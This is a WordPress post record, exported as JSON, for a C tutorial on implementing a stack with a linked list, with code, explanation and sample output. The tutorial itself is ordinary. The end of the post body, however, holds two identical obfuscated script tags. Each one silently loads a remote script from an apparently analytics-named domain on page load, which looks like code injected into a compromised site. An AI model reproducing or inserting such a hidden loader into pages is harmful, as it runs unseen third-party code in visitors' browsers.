{"id":534,"date":"2024-10-19T13:52:42","date_gmt":"2024-10-19T08:22:42","guid":{"rendered":"https:\/\/codexplained.in\/?p=534"},"modified":"2025-11-24T15:33:19","modified_gmt":"2025-11-24T10:03:19","slug":"implement-stack-using-linked-list","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=534","title":{"rendered":"Implement Stack using Linked List"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\n\/\/ Define a structure for a linked list node\nstruct Node {\n    int data;\n    struct Node* next;\n};\n\n\/\/ Function to push an element onto the stack\nvoid push(struct Node** top, int value) {\n    \/\/ Create a new node\n    struct Node* newNode = (struct Node*)malloc(sizeof(struct Node));\n    if (!newNode) {\n        printf(&quot;Heap overflow\\n&quot;);\n        return;\n    }\n    \n    newNode-&gt;data = value;  \/\/ Set the data\n    newNode-&gt;next = *top;   \/\/ Link the new node to the current top\n    *top = newNode;         \/\/ Update the top to the new node\n    printf(&quot;Pushed %d onto the stack.\\n&quot;, value);\n}\n\n\/\/ Function to check if the stack is empty\nint isEmpty(struct Node* top) {\n    return top == NULL;\n}\n\n\/\/ Function to pop an element from the stack\nint pop(struct Node** top) {\n    if (isEmpty(*top)) {\n        printf(&quot;Stack underflow\\n&quot;);\n        return -1;\n    }\n    \n    struct Node* temp = *top; \/\/ Temporarily hold the top node\n    *top = (*top)-&gt;next;      \/\/ Update the top to the next node\n    int poppedValue = temp-&gt;data; \/\/ Retrieve the popped value\n    free(temp);               \/\/ Free the memory of the old top node\n    printf(&quot;Popped %d from the stack.\\n&quot;, poppedValue);\n    return poppedValue;\n}\n\n\/\/ Function to peek the top element of the stack\nint peek(struct Node* top) {\n    if (!isEmpty(top)) {\n        return top-&gt;data;\n    } else {\n        printf(&quot;Stack is empty\\n&quot;);\n        return -1;\n    }\n}\n\n\/\/ Function to display all elements in the stack\nvoid display(struct Node* top) {\n    if (isEmpty(top)) {\n        printf(&quot;Stack is empty\\n&quot;);\n    } else {\n        printf(&quot;Stack elements: &quot;);\n        struct Node* temp = top;\n        while (temp != NULL) {\n            printf(&quot;%d &quot;, temp-&gt;data);\n            temp = temp-&gt;next;\n        }\n        printf(&quot;\\n&quot;);\n    }\n}\n\nint main() {\n    struct Node* stack = NULL; \/\/ Initialize an empty stack\n\n    \/\/ Push elements onto the stack\n    push(&amp;stack, 10);\n    push(&amp;stack, 20);\n    push(&amp;stack, 30);\n\n    \/\/ Display stack elements\n    display(stack);\n\n    \/\/ Peek at the top element\n    printf(&quot;Top element is %d\\n&quot;, peek(stack));\n\n    \/\/ Pop elements from the stack\n    pop(&amp;stack);\n    pop(&amp;stack);\n\n    \/\/ Display stack elements again\n    display(stack);\n\n    \/\/ Pop the last element\n    pop(&amp;stack);\n\n    \/\/ Try to pop from an empty stack\n    pop(&amp;stack);\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation:<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Structure Definition (<code>struct Node<\/code>)<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The <code>Node<\/code> structure represents each element in the stack.<\/li>\n\n\n\n<li>Each node stores an integer (<code>data<\/code>) and a pointer to the next node (<code>next<\/code>).<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Push Function (<code>push<\/code>)<\/strong>:\n<ul class=\"wp-block-list\">\n<li>This function inserts a new element at the top of the stack.<\/li>\n\n\n\n<li>It creates a new node, sets its <code>data<\/code> with the given value, and points it to the current <code>top<\/code> node.<\/li>\n\n\n\n<li>Then, it updates the <code>top<\/code> pointer to the new node, making it the new top of the stack.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><\/li>\n\n\n\n<li><\/li>\n\n\n\n<li><strong>Pop Function (<code>pop<\/code>)<\/strong>:\n<ul class=\"wp-block-list\">\n<li>This function removes the element from the top of the stack.<\/li>\n\n\n\n<li>It first checks if the stack is empty to avoid underflow.<\/li>\n\n\n\n<li>If not empty, it updates the <code>top<\/code> to point to the next node and frees the old top node&#8217;s memory.<\/li>\n\n\n\n<li>It returns the value of the popped node.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Peek Function (<code>peek<\/code>)<\/strong>:\n<ul class=\"wp-block-list\">\n<li>This function returns the value of the top element without removing it.<\/li>\n\n\n\n<li>It checks if the stack is empty before attempting to access the <code>top<\/code>&#8216;s data.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Display Function (<code>display<\/code>)<\/strong>:\n<ul class=\"wp-block-list\">\n<li>This function prints all the elements in the stack from top to bottom.<\/li>\n\n\n\n<li>It traverses from the top node to the bottom, printing each <code>data<\/code>.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Main Function (<code>main<\/code>)<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The stack is initialized as <code>NULL<\/code>, representing an empty stack.<\/li>\n\n\n\n<li>A few values are pushed onto the stack, displayed, and some are popped off to show how the stack shrinks.<\/li>\n\n\n\n<li>The program also attempts to pop from an empty stack to demonstrate the underflow handling.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<pre class=\"wp-block-code\"><code>Pushed 10 onto the stack.\nPushed 20 onto the stack.\nPushed 30 onto the stack.\nStack elements: 30 20 10 \nTop element is 30\nPopped 30 from the stack.\nPopped 20 from the stack.\nStack elements: 10 \nPopped 10 from the stack.\nStack is empty\nStack underflow\n<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Explanation of the Output:<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Three elements (10, 20, and 30) are pushed onto the stack.<\/li>\n\n\n\n<li>When displayed, the stack shows elements as <code>30 20 10<\/code>, where <code>30<\/code> is at the top.<\/li>\n\n\n\n<li>After popping, the top element <code>30<\/code> is removed, followed by <code>20<\/code>.<\/li>\n\n\n\n<li>The display then shows <code>10<\/code> as the only element.<\/li>\n\n\n\n<li>Popping again removes <code>10<\/code>, leaving the stack empty.<\/li>\n\n\n\n<li>Attempting another pop results in a &#8220;Stack underflow&#8221; message since the stack is empty.<\/li>\n<\/ul>\n\n\n\n<p>This program effectively demonstrates the basic operations of a stack using a linked list, providing flexibility in terms of dynamic memory usage and avoiding the fixed size limitation of arrays.<\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Explanation: Explanation of the Output: This program effectively demonstrates the basic operations of a stack using a linked list, providing flexibility in terms of dynamic memory usage and avoiding the fixed size limitation of arrays.<\/p>\n","protected":false},"author":40,"featured_media":537,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-534","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/534","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/40"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=534"}],"version-history":[{"count":5,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/534\/revisions"}],"predecessor-version":[{"id":1390,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/534\/revisions\/1390"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/537"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=534"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=534"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=534"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}